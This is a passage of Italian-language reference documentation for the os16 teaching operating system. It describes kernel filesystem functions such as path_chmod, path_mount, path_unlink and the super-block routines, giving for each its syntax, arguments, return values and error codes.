`ENOTDIR`	Uno dei componenti del percorso non è una directory.
`ENOENT`	Uno dei componenti del percorso non esiste.

FILE SORGENTI

'`lib/unistd/chdir.c`' [106.17.3]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs/path_chdir.c`' [105.4.32]

VEDERE ANCHE

chdir(2) [98.3], *sysroutine(9)* [104.8.28], *proc_reference(9)* [104.8.7], *path_full(9)* [104.3.35], *path_inode(9)* [104.3.36], *inode_put(9)* [104.3.24].

104.3.31 os16: path_chmod(9)

NOME

'**`path_chmod`**' - cambiamento della modalità dei permessi di un file

SINTASSI

```
<kernel/fs.h>
int path_chmod (pid_t pid, const char *path, mode_t mode);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`const char *`***path***	Il percorso del file su cui intervenire.
`mode_t` ***mode***	La modalità dei_permessi da applicare (contano solo i 12 bit meno significativi).

DESCRIZIONE

La funzione ***path_chmod()*** modifica la modalità dei permessi di accesso del file indicato, tramite il suo percorso, relativo eventualmente alla directory corrente del processo ***pid***.

Tradizionalmente, i permessi si scrivono attraverso un numero in base otto; in alternativa, si possono usare convenientemente della macro-variabili, dichiarate nel file '`lib/sys/stat.h`', combinate assieme con l'operatore binario OR.

Modalità simbolica	Modalità numerica	Descrizione
`S_IRWXU`	00700_8	Lettura, scrittura ed esecuzione per l'utente proprietario.
`S_IRUSR`	00400_8	Lettura per l'utente proprietario.
`S_IWUSR`	00200_8	Scrittura per l'utente proprietario.
`S_IXUSR`	00100_8	Esecuzione per l'utente proprietario.
`S_IRWXG`	00070_8	Lettura, scrittura ed esecuzione per il gruppo.
`S_IRGRP`	00040_8	Lettura per il gruppo.
`S_IWGRP`	00020_8	Scrittura per il gruppo.
`S_IXGRP`	00010_8	Esecuzione per il gruppo.
`S_IRWXO`	00007_8	Lettura, scrittura ed esecuzione per gli altri utenti.
`S_IROTH`	00004_8	Lettura per gli altri utenti.
`S_IWOTH`	00002_8	Scrittura per gli altri utenti.
`S_IXOTH`	00001_8	Esecuzione per gli altri utenti.

os16 non considera i permessi SUID (*Set user id*), SGID (*Set group id*) e Sticky, che nella tabella non sono stati nemmeno annotati; inoltre, non tiene in considerazione i permessi legati al gruppo, perché non tiene traccia dei gruppi.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EACCES`	Permesso negato.
`EBADF`	Il descrittore del file richiesto non è valido.

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**`SYS_CHMOD`**'. La funzione della libreria standard che si avvale della chiamata di sistema che poi raggiunge ***path_chmod()*** è *chmod(2)* [98.4].

FILE SORGENTI

'`lib/sys/stat/chmod.c`' [106.13.1]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'kernel/proc/sysroutine.c' [105.9.30]

'kernel/fs.h' [105.4]

'kernel/fs/path_chmod.c' [105.4.33]

VEDERE ANCHE

chmod(2) [98.4], *sysroutine(9)* [104.8.28], *proc_reference(9)* [104.8.7], *path_inode(9)* [104.3.36].

104.3.32 os16: path_chown(9)

NOME

'**path_chown**' - cambiamento della proprietà di un file

SINTASSI

```
<kernel/fs.h>
int path_chown (pid_t pid, const char *path, uid_t uid, gid_t gid);
```

ARGOMENTI

Argomento	Descrizione
pid_t *pid*	Il numero del processo elaborativo per conto del quale si agisce.
const char **path*	Il percorso del file su cui intervenire.
uid_t *uid*	Utente a cui attribuire la proprietà del file.
gid_t *gid*	Gruppo a cui associare il file.

DESCRIZIONE

La funzione ***path_chown()*** modifica la proprietà di un file, fornendo il numero UID e il numero GID. Il file viene indicato attraverso il percorso scritto in una stringa, relativo alla directory corrente del processo ***pid***.

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**SYS_CHOWN**'. La funzione della libreria standard che si avvale della chiamata di sistema che poi raggiunge ***path_chown()*** è *chown(2)* [98.5].

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno*** del kernel.

ERRORI

Valore di *errno*	Significato
`EINVAL`	Argomento non valido.
`EPERM`	Permessi insufficienti per eseguire l'operazione.
`ENOTDIR`	Uno dei componenti del percorso non è una directory.
`ENOENT`	Uno dei componenti del percorso non esiste.
`EBADF`	Il descrittore del file non è valido.

DIFETTI

Benché sia consentito di attribuire il numero del gruppo, os16 non valuta i permessi di accesso ai file, relativi a questi.

FILE SORGENTI

'`lib/unistd/chown.c`' [106.17.4]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs.h`' [105.4]

'`kernel/fs/path_chown.c`' [105.4.34]

VEDERE ANCHE

chown(2) [98.5], *sysroutine(9)* [104.8.28], *proc_reference(9)* [104.8.7], *path_inode(9)* [104.3.36], *inode_save(9)* [104.3.26], *inode_put(9)* [104.3.24].

104.3.33 os16: path_device(9)

NOME

'**`path_device`**' - conversione di un file di dispositivo nel numero corrispondente

SINTASSI

```
<kernel/fs.h>
dev_t path_device (pid_t pid, const char *path);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Processo elaborativo per conto del quale si agisce.
`const char` ****path***	Il percorso del file di dispositivo.

DESCRIZIONE

La funzione ***path_device()*** consente di trarre il numero complessivo di un dispositivo, a partire da un file di dispositivo.

Questa funzione viene usata soltanto da *path_mount(9)* [104.8.28].

VALORE RESTITUITO

La funzione restituisce il numero del dispositivo corrispondente al file indicato, oppure il valore −1, in caso di errore, aggiornando la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`ENODEV`	Il file richiesto non è un file di dispositivo.
`ENOENT`	Il file richiesto non esiste.
`EACCES`	Il file richiesto non è accessibile secondo i privilegi del processo ***pid***.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/path_device.c`' [105.4.35]

VEDERE ANCHE

proc_reference(9) [104.8.7], *path_inode(9)* [104.3.36], *inode_put(9)* [104.3.24].

104.3.34 os16: path_fix(9)

NOME

'**`path_fix`**' - semplificazione di un percorso

SINTASSI

```
<kernel/fs.h>
int path_fix (char *path);
```

ARGOMENTI

Argomento	Descrizione
`char *`***path***	Il percorso da semplificare.

DESCRIZIONE

La funzione ***path_fix()*** legge la stringa del percorso ***path*** e la rielabora, semplificandolo. La semplificazione riguarda l'eliminazione di riferimenti inutili alla directory corrente e di indietreggiamenti. Il percorso può essere assoluto o relativo: la funzione non ne cambia l'origine.

VALORE RESTITUITO

La funzione restituisce sempre zero e non è prevista la manifestazione di errori.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/path_fix.c`' [105.4.36]

VEDERE ANCHE

strtok(3) [99.120], *strcmp(3)* [99.106], *strcat(3)* [99.104], *strncat(3)* [99.104], *strncpy(3)* [99.108].

104.3.35 os16: path_full(9)

NOME

'**`path_full`**' - traduzione di un percorso relativo in un percorso assoluto

SINTASSI

```
<kernel/fs.h>
int path_full (const char *path, const char *path_cwd, char *full_path);
```

ARGOMENTI

Argomento	Descrizione
`const char *`***path***	Il percorso relativo alla posizione ***path_cwd***.
`const char *`***path_cwd***	La directory corrente.
`char *`***full_path***	Il luogo in cui scrivere il percorso assoluto.

DESCRIZIONE

La funzione ***path_full()*** ricostruisce un percorso assoluto, mettendolo in memoria a partire da ciò a cui punta ***full_path***.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	L'insieme degli argomenti non è valido.

FILE SORGENTI

'kernel/fs.h' [105.4]

'kernel/fs/path_full.c' [105.4.37]

VEDERE ANCHE

strtok(3) [99.120], *strcmp(3)* [99.106], *strcat(3)* [99.104], *strncat(3)* [99.104], *strncpy(3)* [99.108], *path_fix(9)* [104.3.34].

104.3.36 os16: path_inode(9)

NOME

'**path_inode**' - caricamento di un inode, partendo dal percorso del file

SINTASSI

```
<kernel/fs.h>
inode_t *path_inode (pid_t pid, const char *path);
```

ARGOMENTI

Argomento	Descrizione
pid_t *pid*	Il numero del processo elaborativo per conto del quale si agisce.
const char **path*	Il percorso del file del quale si vuole ottenere l'inode.

DESCRIZIONE

La funzione ***path_inode()*** carica un inode nella tabella degli inode, oppure lo localizza se questo è già caricato, partendo dal percorso di un file. L'operazione è subordinata all'accessibilità del percorso che conduce al file, nel senso che il processo ***pid*** deve avere il permesso di accesso («x») in tutti gli stadi dello stesso.

VALORE RESTITUITO

La funzione restituisce il puntatore all'elemento della tabella degli inode che contiene le informazioni caricate in memoria sull'inode. Se qualcosa non va, restituisce invece il puntatore nullo, aggiornando di conseguenza il contenuto della variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
ENOENT	Uno dei componenti del percorso non esiste.
ENFILE	Non è possibile allocare un inode ulteriore, perché la tabella è già occupata completamente.
EIO	Error di input-output.

FILE SORGENTI

'kernel/fs.h' [105.4]

'kernel/fs/path_inode.c' [105.4.38]

VEDERE ANCHE

proc_reference(9) [104.8.7], *path_full(9)* [104.3.35], *inode_get(9)* [104.3.23], *inode_put(9)* [104.3.24], *inode_check(9)* [104.3.16], *inode_file_read(9)* [104.3.18].

104.3.37 os16: path_inode_link(9)

NOME

'**path_inode_link**' - creazione di un collegamento fisico o di un nuovo file

SINTASSI

```
<kernel/fs.h>
inode_t *path_inode_link (pid_t pid, const char *path,
                          inode_t *inode, mode_t mode);
```

ARGOMENTI

Argomento	Descrizione
pid_t *pid*	Il numero del processo elaborativo per conto del quale si agisce.
const char **path*	Il percorso del file per il quale si vuole creare il collegamento fisico.
inode_t **inode*	Puntatore a una voce della tabella degli inode, alla quale si vuole collegare il nuovo file.
mode_t *mode*	Nel caso l'inode non sia stato fornito, dovendo creare un nuovo file, questo parametro richiede il tipo e i permessi del file da creare.

DESCRIZIONE

La funzione ***path_inode_link()*** crea un collegamento fisico con il nome fornito in ***path***, riferito all'inode a cui punta ***inode***. Tuttavia, l'argomento corrispondente al parametro ***inode*** può essere un puntatore nullo, e in tal caso viene creato un file vuoto, allocando contestualmente un nuovo inode, usando l'argomento corrispondente al parametro ***mode*** per il tipo e la modalità dei permessi del nuovo file.

Il processo ***pid*** deve avere i permessi di accesso per tutte le directory che portano al file da collegare o da creare; inoltre, nell'ultima directory ci deve essere anche il permesso di scrittura, dovendo intervenire sulla stessa modificandola.

VALORE RESTITUITO

La funzione restituisce il puntatore all'elemento della tabella degli inode che descrive l'inode collegato o creato. In caso di problemi, restituisce invece il puntatore nullo, aggiornando di conseguenza il contenuto della variabile ***errno*** del kernel.

ERRORI

Valore di *errno*	Significato
`EINVAL`	L'insieme degli argomenti non è valido: se l'inode è stato indicato, il parametro ***mode*** deve essere nullo; al contrario, se l'inode non è specificato, il parametro ***mode*** deve contenere informazioni valide.
`EPERM`	Non è possibile creare il collegamento di un inode corrispondente a una directory.
`EMLINK`	Non è possibile creare altri collegamenti all'inode, il quale ha già raggiunto la quantità massima.
`EEXIST`	Il file ***path*** esiste già.
`EACCES`	Impossibile accedere al percorso che dovrebbe contenere il file da collegare.
`EROFS`	Il file system è innestato in sola lettura e non si può creare il collegamento.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/path_inode_link.c`' [105.4.39]

VEDERE ANCHE

proc_reference(9) [104.8.7], *path_inode(9)* [104.3.36], *inode_get(9)* [104.3.23], *inode_put(9)* [104.3.24], *inode_save(9)* [104.3.26], *inode_check(9)* [104.3.16], *inode_alloc(9)* [104.3.15], *inode_file_read(9)* [104.3.18], *inode_file_write(9)* [104.3.19].

104.3.38 os16: path_link(9)

NOME

'**`path_link`**' - creazione di un collegamento fisico

SINTASSI

```
<kernel/fs.h>
int path_link (pid_t pid, const char *path_old, const char *path_new);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`const char *`***path_old***	Il percorso del file originario.
`const char *`***path_new***	Il percorso del collegamento da creare.

DESCRIZIONE

La funzione ***path_link()*** produce un nuovo collegamento a un file già esistente. Va fornito il percorso del file già esistente, ***path_old*** e quello del file da creare, in qualità di

collegamento, ***path_new***. L'operazione può avvenire soltanto se i due percorsi si trovano sulla stessa unità di memorizzazione e se ci sono i permessi di scrittura necessari nella directory di destinazione per il processo ***pid***. Dopo l'operazione di collegamento, fatta in questo modo, non è possibile distinguere quale sia stato il file originale e quale sia invece il nome aggiunto.

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**`SYS_LINK`**'. La funzione della libreria standard che si avvale della chiamata di sistema che poi raggiunge ***path_link()*** è *link(2)* [98.23].

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Gli argomenti forniti alla chiamata non sono validi per qualche ragione.
`EPERM`	Operazione non consentita.
`EEXIST`	Il nome da creare esiste già.
`EACCES`	Accesso non consentito.
`ENOENT`	Il file non esiste, oppure non esiste il percorso che porta al file da creare.
`EROFS`	Il file system consente soltanto un accesso in lettura.
`ENOTDIR`	Uno dei due percorsi non è valido, in quanto ciò che dovrebbe essere una directory, non lo è.

FILE SORGENTI

'`lib/unistd/link.c`' [106.17.26]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs/path_link.c`' [105.4.40]

'`kernel/fs.h`' [105.4]

VEDERE ANCHE

link(2) [98.23], *sysroutine(9)* [104.8.28], *proc_reference(9)* [104.8.7], *path_inode(9)* [104.3.36], *path_inode_link(9)* [104.3.37], *inode_put(9)* [104.3.24].

104.3.39 os16: path_mkdir(9)

NOME

'**path_mkdir**' - creazione di una directory

SINTASSI

```
<kernel/fs.h>
int path_mkdir (pid_t pid, const char *path, mode_t mode);
```

ARGOMENTI

Argomento	Descrizione
pid_t ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
const char ****path***	Il percorso della directory da creare.
mode_t ***mode***	Modalità dei permessi da attribuire alla nuova directory.

DESCRIZIONE

La funzione ***path_mkdir()*** crea una directory, indicata attraverso un percorso (parametro ***path()***) e specificando la modalità dei permessi (parametro ***mode***). Va osservato che il valore del parametro ***mode*** non viene preso in considerazione integralmente: di questo si considerano solo gli ultimi nove bit, ovvero quelli dei permessi di utenti, gruppi e altri utenti; inoltre, vengono tolti i bit presenti nella maschera dei permessi associata al processo.

La directory che viene creata in questo modo, appartiene all'identità efficace del processo, ovvero all'utente per conto del quale questo sta funzionando.

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**SYS_MKDIR**'. La funzione della libreria standard che si avvale della chiamata di sistema che poi raggiunge ***path_mkdir()*** è *mkdir(2)* [98.25].

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di *errno*	Significato
EINVAL	Il percorso indicato non è valido.
EEXIST	Esiste già un file o una directory con lo stesso nome.
ENOTDIR	Una porzione del percorso della directory da creare, non è una directory.
ENOENT	Una porzione del percorso della directory da creare non esiste.
EACCES	Permesso negato.

FILE SORGENTI

'lib/sys/stat/mkdir.c' [106.13.4]

'lib/sys/os16/sys.s' [106.12.15]

'kernel/proc/_isr.s' [105.9.1]

'kernel/proc/sysroutine.c' [105.9.30]

'kernel/fs.h' [105.4]

'kernel/fs/path_mkdir.c' [105.4.41]

VEDERE ANCHE

mkdir(2) [98.25], *sysroutine(9)* [104.8.28], *proc_reference(9)* [104.8.7], *path_inode(9)* [104.3.36], *inode_file_write(9)* [104.3.19], *inode_put(9)* [104.3.24].

104.3.40 os16: path_mknod(9)

NOME

'**path_mknod**' - creazione di un file vuoto di qualunque tipo

SINTASSI

```
<kernel/fs.h>
int path_mknod (pid_t pid, const char *path, mode_t mode,
                dev_t device);
```

ARGOMENTI

Argomento	Descrizione
pid_t *pid*	Il numero del processo elaborativo per conto del quale si agisce.
const char **path*	Il percorso del file da creare.
mode_t *mode*	Tipo e modalità dei permessi del nuovo file.
dev_t *device*	Numero di dispositivo nel caso il tipo sia riferito a un file di dispositivo.

DESCRIZIONE

La funzione ***path_mknod()*** crea un file vuoto, di qualunque tipo. Potenzialmente può creare anche una directory, ma priva di qualunque voce, rendendola così non adeguata al suo scopo (una directory richiede almeno le voci '`.`' e '`..`', per potersi considerare tale).

Il parametro ***path*** specifica il percorso del file da creare; il parametro ***mode*** serve a indicare il tipo di file da creare, oltre ai permessi comuni.

Il parametro ***device***, con il quale va indicato il numero di un dispositivo (completo di numero primario e secondario), viene preso in considerazione soltanto se nel parametro ***mode*** si richiede la creazione di un file di dispositivo a caratteri o a blocchi.

Il valore del parametro ***mode*** va costruito combinando assieme delle macro-variabili definite nel file '`lib/sys/stat.h`', come descritto nella pagina di manuale *stat(2)* [98.36], tenendo conto che os16 non può gestire file FIFO, collegamenti simbolici e socket di dominio Unix.

Il valore del parametro ***mode***, per la porzione che riguarda i permessi di accesso al file, viene comunque filtrato con la maschera dei permessi (*umask(2)* [98.36]).

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**`SYS_MKNOD`**'. La funzione della libreria standard che si avvale della chiamata di sistema che poi raggiunge ***path_mknod()*** è *mknod(2)* [98.26].

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Il percorso indicato non è valido.
`EEXIST`	Esiste già un file o una directory con lo stesso nome.
`ENOTDIR`	Una porzione del percorso del file da creare, non è una directory.
`ENOENT`	Una porzione del percorso del file da creare non esiste.
`EACCES`	Permesso negato.

FILE SORGENTI

'`lib/sys/stat.h`' [106.13]

'`lib/sys/stat/mknod.c`' [106.13.5]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs.h`' [105.4]

'`kernel/fs/path_mknod.c`' [105.4.42]

VEDERE ANCHE

mknod(2) [98.26], *sysroutine(9)* [104.8.28], *proc_reference(9)* [104.8.7], *path_inode(9)* [104.3.36], *inode_put(9)* [104.3.24].

104.3.41 os16: path_mount(9)

NOME

'**path_mount**', '**path_umount**' - innesto e distacco di un file system

SINTASSI

```
<kernel/fs.h>
int path_mount  (pid_t pid, const char *path_dev,
                 const char *path_mnt, int options);
int path_umount (pid_t pid, const char *path_mnt);
```

ARGOMENTI

Argomento	Descrizione
pid_t ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
const char ****path_dev***	Il file di dispositivo dell'unità da innestare.
const char ****path_mnt***	Il percorso della directory di innesto.
int ***options***	Opzioni di innesto.

DESCRIZIONE

La funzione ***path_mount()*** permette l'innesto di un'unità di memorizzazione individuata attraverso il percorso del file di dispositivo nel parametro ***path_dev***, nella directory corrispondente al percorso ***path_mnt***, con le opzioni indicate numericamente nell'ultimo argomento ***options***. Le opzioni di innesto, rappresentate attraverso delle macro-variabili, sono solo due:

Opzione	Descrizione
MOUNT_DEFAULT	Innesto normale, in lettura e scrittura.
MOUNT_RO	Innesto in sola lettura.

La funzione ***path_umount()*** consente di staccare un innesto fatto precedentemente, specificando il percorso della directory in cui questo è avvenuto.

Queste funzioni vengono usate soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento delle chiamate di sistema di tipo '**SYS_MOUNT**' e '**SYS_UMOUNT**'. Le funzioni della libreria standard che si avvalgono delle chiamate di sistema che poi raggiungono ***path_mount()*** e ***path_umount()***, sono *mount(2)* [98.27] e *umount(2)* [98.27].

VALORE RESTITUITO

Valore	Significato
0	Operazione conclusa con successo.
−1	Errore: va verificato il contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EPERM`	Problema di accesso dovuto alla mancanza dei permessi necessari.
`ENOTDIR`	Ciò che dovrebbe essere una directory, non lo è.
`EBUSY`	La directory innesta già un file system e non può innestarne un altro.
`ENOENT`	La directory non esiste.
`E_NOT_MOUNTED`	La directory non innesta un file system (da staccare).
`EUNKNOWN`	Si è verificato un problema, non meglio precisato e non previsto.

FILE SORGENTI

‘`lib/sys/os16/mount.c`’ [106.12.12]

‘`lib/sys/os16/umount.c`’ [106.12.16]

‘`lib/sys/os16/sys.s`’ [106.12.15]

‘`kernel/proc/_isr.s`’ [105.9.1]

‘`kernel/proc/sysroutine.c`’ [105.9.30]

‘`kernel/fs.h`’ [105.4]

‘`kernel/fs/path_mount.c`’ [105.4.43]

‘`kernel/fs/path_umount.c`’ [105.4.45]

VEDERE ANCHE

mount(2) [98.27], *sysroutine(9)* [104.8.28], *proc_reference(9)* [104.8.7], *path_device(9)* [104.3.33], *path_inode(9)* [104.3.36], *inode_put(9)* [104.3.24], *sb_mount(9)* [104.3.46].

104.3.42 os16: path_stat(9)

Vedere *stat(9)* [104.3.50].

104.3.43 os16: path_umount(9)

Vedere *path_mount(9)* [104.3.41].

104.3.44 os16: path_unlink(9)

NOME

'**path_unlink**' - cancellazione di un nome

SINTASSI

```
<kernel/fs.h>
int path_unlink (pid_t pid, const char *path);
```

ARGOMENTI

Argomento	Descrizione
pid_t ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
const char ****path***	Il percorso che rappresenta il file da cancellare.

DESCRIZIONE

La funzione ***path_unlink()*** cancella un nome da una directory, ma se si tratta dell'ultimo collegamento che ha quel file, allora libera anche l'inode corrispondente.

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**SYS_UNLINK**'. La funzione della libreria standard che si avvale della chiamata di sistema che poi raggiunge ***path_unlink()*** è *unlink(2)* [98.42].

VALORE RESTITUITO

Valore	Significato
0	Operazione conclusa con successo.
−1	Errore: la variabile ***errno*** viene impostata di conseguenza.

ERRORI

Valore di ***errno***	Significato
ENOTEMPTY	È stata tentata la cancellazione di una directory, ma questa non è vuota.
ENOTDIR	Una delle directory del percorso, non è una directory.
ENOENT	Il nome richiesto non esiste.
EROFS	Il file system è in sola lettura.
EPERM	Mancano i permessi necessari.
EUNKNOWN	Si è verificato un errore imprevisto e sconosciuto.

FILE SORGENTI

'lib/unistd/unlink.c' [106.17.35]

'lib/sys/os16/sys.s' [106.12.15]

'kernel/proc/_isr.s' [105.9.1]

'kernel/proc/sysroutine.c' [105.9.30]

'kernel/fs.h' [105.4]

'kernel/fs/path_unlink.c' [105.4.46]

VEDERE ANCHE

unlink(2) [98.42], *sysroutine(9)* [104.8.28], *proc_reference(9)* [104.8.7], *path_inode(9)* [104.3.36], *inode_check(9)* [104.3.16], *inode_file_read(9)* [104.3.18], *inode_file_write(9)* [104.3.19], *inode_put(9)* [104.3.24].

104.3.45 os16: sb_inode_status(9)

NOME

'**sb_inode_status**', '**sb_zone_status**' - verifica di utilizzazione attraverso il controllo delle mappe di inode e di zone

SINTASSI

```
<kernel/fs.h>
int sb_inode_status (sb_t *sb, ino_t ino);
int sb_zone_status  (sb_t *sb, zno_t zone);
```

ARGOMENTI

Argomento	Descrizione
sb_t *sb	Puntatore a una voce della tabella dei super blocchi.
ino_t ino	Numero di inode.
zno_t ino	Numero di zona.

DESCRIZIONE

La funzione ***sb_inode_status()*** verifica che un certo inode, individuato per numero, risulti utilizzato nel file system a cui si riferisce il super blocco a cui punta il primo argomento.

La funzione ***sb_zone_status()*** verifica che una certa zona, individuato per numero, risulti utilizzata nel file system a cui si riferisce il super blocco a cui punta il primo argomento.

La funzione ***sb_inode_status()*** viene usata soltanto da *inode_get(9)* [104.3.23]; la funzione ***sb_zone_status()*** non viene usata affatto.

VALORE RESTITUITO

Valore	Significato
1	L'inode o la zona risultano utilizzati.
0	L'inode o la zona risultano liberi (allocabili).
-1	Errore: è stato richiesto un numero di inode o di zona pari a zero, oppure ***sb*** è un puntatore nullo.

ERRORI

Valore di *errno*	Significato
`EINVAL`	È stato richiesto un numero di inode o di zona pari a zero, oppure ***sb*** è un puntatore nullo.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/sb_inode_status.c`' [105.4.47]

'`kernel/fs/sb_zone_status.c`' [105.4.52]

VEDERE ANCHE

inode_alloc(9) [104.3.15], *zone_alloc(9)* [104.3.51].

104.3.46 os16: sb_mount(9)

NOME

'**`sb_mount`**' - innesto di un dispositivo di memorizzazione

SINTASSI

```
<kernel/fs.h>
sb_t *sb_mount (dev_t device, inode_t **inode_mnt, int options);
```

ARGOMENTI

Argomento	Descrizione
`dev_t` ***device***	Dispositivo da innestare.
`inode_t **`***inode_mnt***	Puntatore di puntatore a una voce della tabella di inode. Il valore di ****inode_mnt*** potrebbe essere un puntatore nullo.
`int` ***options***	Opzioni per l'innesto.

DESCRIZIONE

La funzione ***sb_mount()*** innesta il dispositivo rappresentato numericamente dal primo parametro, sulla directory corrispondente all'inode a cui punta, indirettamente, il secondo parametro, con le opzioni del terzo parametro.

Il secondo parametro è un puntatore di puntatore al tipo '**`inode_t`**', in quanto il valore rappresentato da ****inode_mnt*** deve poter essere modificato dalla funzione. Infatti, quando si vuole innestare il file system principale, si crea una situazione particolare, perché la directory di innesto è la radice dello stesso file system da innestare; pertanto, ****inode_mnt*** deve essere un puntatore nullo ed è compito della funzione far sì che diventi il puntatore alla voce corretta nella tabella degli inode.

Questa funzione viene usata da *proc_init(9)* [104.8.6] per innestare il file system principale, e da *path_mount(9)* [104.3.41] per innestare un file system in condizioni diverse.

VALORE RESTITUITO

La funzione restituisce il puntatore all'elemento della tabella dei super blocchi che rappresenta il dispositivo innestato. In caso si insuccesso, restituisce invece il puntatore nullo e aggiorna la variabile ***errno*** del kernel.

ERRORI

Valore di *errno*	Significato
`EBUSY`	Il dispositivo richiesto risulta già innestato; la directory di innesto è già utilizzata; la tabella dei super blocchi è già occupata del tutto.
`EIO`	Errore di input-output.
`ENODEV`	Il file system del dispositivo richiesto non può essere gestito.
`E_MAP_INODE_TOO_BIG`	La mappa che rappresenta lo stato di utilizzo degli inode del file system, è troppo grande e non può essere caricata in memoria.
`E_MAP_ZONE_TOO_BIG`	La mappa che rappresenta lo stato di utilizzo delle zone (i blocchi di dati del file system Minix 1) è troppo grande e non può essere caricata in memoria.
`E_DATA_ZONE_TOO_BIG`	Nel file system che si vorrebbe innestare, la dimensione della zona di dati è troppo grande rispetto alle possibilità di os16.
`EUNKNOWN`	Errore imprevisto e sconosciuto.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/sb_mount.c`' [105.4.48]

VEDERE ANCHE

sb_reference(9) [104.3.47], *dev_io(9)* [104.1.1], *inode_get(9)* [104.3.23].

104.3.47 os16: sb_reference(9)

NOME

'**`sb_reference`**' - riferimento a un elemento della tabella dei super blocchi

SINTASSI

```
<kernel/fs.h>
sb_t *sb_reference (dev_t device);
```

ARGOMENTI

Argomento	Descrizione
`dev_t` ***device***	Dispositivo di un'unità di memorizzazione di massa.

DESCRIZIONE

La funzione ***sb_reference()*** serve a produrre il puntatore a una voce della tabella dei super blocchi. Se si fornisce il numero di un dispositivo già innestato nella tabella, si intende ottenere il puntatore alla voce relativa; se si fornisce il valore zero, si intende semplicemente avere un puntatore alla prima voce (ovvero all'inizio della tabella); se invece si fornisce il valore -1, si vuole ottenere il riferimento alla prima voce libera.

VALORE RESTITUITO

La funzione restituisce il puntatore all'elemento della tabella dei super blocchi che soddisfa la richiesta. In caso di errore, restituisce invece un puntatore nullo, ma senza dare informazioni aggiuntive con la variabile ***errno***, perché il motivo è implicito nel tipo di richiesta.

ERRORI

In caso di errore la variabile ***errno*** non viene aggiornata. Tuttavia, se l'errore deriva dalla richiesta di un dispositivo di memorizzazione, significa che non è presente nella tabella; se è stato richiesta una voce libera, significa che la tabella dei super blocchi è occupata completamente.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/sb_table.c`' [105.4.51]

'`kernel/fs/sb_reference.c`' [105.4.49]

VEDERE ANCHE

inode_reference(9) [104.3.25], *file_reference(9)* [104.3.13].

104.3.48 os16: sb_save(9)

NOME

'**`sb_save`**' - memorizzazione di un super blocco nel proprio file system

SINTASSI

```
<kernel/fs.h>
int sb_save (sb_t *sb);
```

ARGOMENTI

Argomento	Descrizione
`sb_t *sb`	Puntatore a una voce della tabella dei super blocchi in memoria.

DESCRIZIONE

La funzione ***sb_save()*** verifica se il super blocco conservato in memoria e rappresentato dal puntatore ***sb*** risulta modificato; in tal caso provvede ad aggiornarlo nell'unità di memorizzazione di origine, assieme alle mappe di utilizzo degli inode e delle zone di dati.

VALORE RESTITUITO

Valore	Significato
0	Operazione conclusa con successo.
−1	Errore: la variabile ***errno*** viene impostata di conseguenza.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Il riferimento al super blocco è un puntatore nullo.
`EIO`	Errore di input-output.

FILE SORGENTI

‘`kernel/fs.h`’ [105.4]

‘`kernel/fs/sb_save.c`’ [105.4.50]

VEDERE ANCHE

inode_save(9) [104.3.26], *dev_io(9)* [104.1.1].

104.3.49 os16: sb_zone_status(9)

Vedere *sb_inode_status(9)* [104.3.45].

104.3.50 os16: stat(9)

NOME

